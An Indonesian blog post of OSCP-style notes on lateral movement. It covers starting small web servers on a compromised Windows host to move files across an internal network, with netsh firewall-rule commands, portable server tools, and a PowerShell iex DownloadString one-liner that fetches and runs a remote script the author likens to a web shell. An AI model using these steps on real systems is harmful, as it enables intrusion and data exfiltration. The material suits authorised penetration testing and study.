Simple Windows HTTP Server for File Transfer

Lateral Movement 101: Windows Web Server. Oke ini hanyalah catatan singkat mengenai bagaimana melakukan transfer file dari satu mesin ke mesin lainnya pada network internal, atau melakukan file transfer dari mesin target ke mesin attacker.

Latar Belakang

Dengan pengetahuan yang serba terbatas ketika menjalani exam OSCP, saya sempat mengalami kesulitan ketika ingin mengunggah file ke mesin internal di AD sets. Problemnya adalah mesin internal ini tidak dapat diakses dari mesin attacker, sehingga file transfer menggunakan Python Web Server dari mesin attacker tidak memungkinkan. Cara tercepat adalah menyalakan simple web server atau apapun dari mesin pertama yang sudah compromised (mesin Windows). Meskipun pada akhirnya problem ini terselesaikan, lumayan makan waktu juga saat itu karena "ketidak-tahuan" mengenai basic file transfer ini. Dan setelah melakukan eksplorasi lebih jauh setelah exam selesai, ternyata ada banyak cara untuk "menyalakan" web server di Windows.

Well, semoga artikel ini berguna ketika kalian melakukan penetration testing ataupun red team engagement.

Pada realitanya, ketika kita melakukan red teaming atau internal network pentesting mungkin kita tidak diijinkan (atau tidak memiliki hak akses) untuk melakukan allow port di firewall. Kalian bisa gunakan perintah berikut untuk memeriksa rule yang diaktifkan di firewall untuk membuka TCP port tertentu.

netsh advfirewall firewall show rule name=all status=enabled

Namun pada tutorial ini, agar lebih enak saya akan coba buat rule baru yang melakukan allow koneksi di port 8080. Sehingga seluruh list di tutorial ini nantinya akan menggunakan port 8080.

netsh advfirewall firewall add rule name="Simple Webserver" dir=in action=allow protocol=TCP localport=8080

Powershell WebServer

Ada banyak script atau utilitas yang dapat digunakan sebagai "web server" di Powershell. Dan menurut saya script paling simple dengan fitur yang lumayan lengkap adalah repository berikut.

Menurut saya justru malah lebih mirip fungsi web shell dibanding sekedar WebServer. Ada fitur command, upload, download, dll.

iex (New-Object Net.WebClient).DownloadString('https://github.com/MScholtes/WebServer/raw/master/Module/Start-Webserver.ps1')

Start-Webserver 'http://+:8080/'

Selanjutnya tinggal akses saja port 8080 dari browser.


MiniWeb

Targetmu terlalu jadul dan belum tersedia powershell? Tidak masalah. Kalian bisa gunakan MiniWeb sebagai simple web server. Kalian bisa unduh disini:

Yang kalian perlukan hanya file miniweb.exe nya saja. Satu file itu saja sudah cukup untuk menjalankan web server.

Command

.\miniweb.exe -h

.\miniweb.exe -p 8080 -r .


HFS

Jika kalian memiliki akses GUI ke mesin target, mungkin kalian dapat mencoba HFS (HTTP File Server). Ukurannya lebih besar dibanding yang lain, sekitar 2.5 MB. Memiliki banyak fitur, termasuk drag and drop.

Untuk file yang dibagikan bisa diunduh via browser di port yang sudah diatur.

SSWWS

SSWWS atau Super Simple Windows Web Server merupakan file portable yang dapat digunakan untuk menjalankan web server dengan satu file sswws.exe.

Contoh command:
.\sswws.exe -p 8080 -i 0.0.0.0


Rebex Tiny Web Server

Jika kalian punya akses GUI ke target, selain HFS kalian juga bisa coba Rebex Tiny Web Server. Untuk menjalankan web server ini membutuhkan dua file yakni RebexTinyWebServer.exe dan RebexTinyWebServer.exe.config. Pada file .config kalian bisa mengatur port, webroot, dll. Sementara file .exe untuk menjalankan web servernya.

Link downloadnya:



Oke mungkin itu dulu untuk beberapa opsi yang bisa kita gunakan untuk menjalankan simple web server di Windows. Jika kalian ada opsi tool lain boleh di share ya.

Oh iya, sebelum tutorial ini dimulai, kita melakukan enable port 8080 menggunakan nama rule "Simple Webserver". Kita bisa delete rule tersebut dengan perintah:

netsh advfirewall firewall delete rule name="Simple Webserver"

Note: Sebenarnya ada banyak tool yang bisa digunakan untuk menjalankan simple web server di Windows. Namun di tutorial ini saya berfokus ke tool yang memiliki portabilitas tinggi, serta ukuran yang kecil. Jadi tool yang saya list disini tidak membutuhkan dependesi tambahan seperti melakukan load berbagai macam file .dll (misalnya), atau file dengan ukuran lebih dari 10MB.

Posting Komentar untuk "Simple Windows HTTP Server for File Transfer"